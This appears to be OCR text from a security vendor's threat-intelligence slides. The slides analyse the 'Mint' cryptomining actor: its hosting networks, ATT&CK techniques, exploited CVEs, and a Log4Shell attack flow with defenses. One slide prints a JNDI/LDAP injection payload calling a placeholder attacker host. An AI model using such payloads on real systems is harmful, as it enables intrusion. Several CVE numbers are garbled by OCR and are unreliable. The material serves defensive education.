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Threat vs Threat Actor

Threat -

The weapon(s) used to achieve
objectives ‘

Threat Actor
_The person(s) behind the threats
Who? What? Why? How? Where?




Threat to Actor to Campaign
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Battle of Pelusium by Simon Seitz for World History Encyclopedia.



Analysis Methodology
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The Diamond Model

Clustering activity under a single threat group or adversary to better
track and detect their actions.
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Recon

Mint Example

PINDC-AS [recon]
RMINJINERING [recon]
SELECTEL [recon]

EUROBYTE Eurobyte LLC [exp]
Hosting vpsville[.]ru [exp]
IHOR-AS [exp]

BEST-HOSTER [inst]

EUROBYTE Eurobyte LLC [ins]
ITLAS [ins]

EUROBYTE Eurobyte LLC [C2]
GREENFLOID-AS [C2]
ITEXPRESS-AS [C2]
ASBAXET [A00]

FLYNET-AS [A00]
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Exposed & vulnerable servers
Linux
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Exp Inst
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Kill Chain
ATT&CK
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Active Scanning - T1595 [recon]
Exploit Public-Facing App - 71190
[recon/delivery/exploit]

Scheduled Task/Job: Cron - T1053.003
[inst persistence]

Ingress Tool Transfer - T1105 [inst / C2]

Application Layer Protocol - T1071 [CZ]
Resource hijacking - T1496 [AocO]



Mint’s Campaigns

PHP Eval
CVE-2017-9841

—

Citrix RCE
GVE-2019-19781
Think PHP
CVE-2019-9082

—

—

Bypass
CVE-2020-11651

Liferay
CVE-2020-7961

CVE-2020-5902

CVE-2020-15505
Web Logic

14750
Micro Focus
CVE-2020-11854

e

BIG-IP TMUI RCE

SaltStack Authentication

CVE-2020-14882/CVE-2020-

Mobilelron Core & Connector

Laravel Ignition
CVE-2021-3129
Confluence
CVYE-2021-26084
Apache RCE

CVE-2021-41773
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Confluence
CVE-2022-26134
F5 BIG-IP ¢
CVE-2022-1388
Spring4Shell

CVE-2022-22965
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Layers of Defense: Log4Shell Attack Flow

Phase 2: Exploit
Success

Phase 3: Actions on
the Objective

Phase 1: Exploit Attempt

${jndi:1ldap://badguy.url.here:1234/a}
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Attacker Server /\/

Actions on the Objective
(ransomware,
cryptominer, etc.)

External Script

Connection Retrieved &
Executed

Exploit Logged

Using Log4j Post Compromise

(wget, curls, etc.)
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Block WN\=
Detect Log Analysis, IDS
Telemetry Nginx, Apache, IIS,

Firewall Policies EDR, DLP, AV
Logs, IDS, FIM UBA, Logs, IDS, FIM



Developments to the Diamond
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Developments to the Diamond
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B Administrator: Command Prompt
Microsoft Windows
I(c) 2019 Microsoft

C:\Windows\system
SUCCESS: The procs
SUCCESS: The proce
SUCCESS: The procs
SUCCESS: The procs
SUCCESS: The proce
SUCCESS: The procs
SUCCESS: The procs
|SUCCESS: The proce
ISUCCESS: The proce
SUCCESS: The procs
SUCCESS: The procs
SUCCESS: The proce

func mask() string {

:= rand.Intn(len(masks) - 1)

return masks[1i]

const hamlet = °
HAMLET

DRAMATIS PERSONAE
CLAUDIUS king of Denmark. (KING CLAUDIUS:)
HAMLET son to the late, and nephew to the present king.
POLONIUS lord chamberlain. (LORD POLONIUS:)

HORATIO friend to Hamlet.

LAERTES son to Polonius.

nenhew tn the kingo

| LICTANLIS




Activity Clustering Outcomes




Want to learn more?

Search Alert Logic Threat Intelligence Blogs

Threat Intelligence

SEP1; 2022

The Botnet Crypto-mining Conquest What's Old is (Sort of) New Again: Shining a Light on Visibility for
Bad Actors Continue Their Love of Enhanced Security Posture
- Web Shells



https://www.alertlogic.com/blog/threat-activity-clusters-project-ice-cream/
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Next Steps

Get atechnical deep dive of our
solution by requesting a demo
from one of our security experts

REAL lce Cream delivered



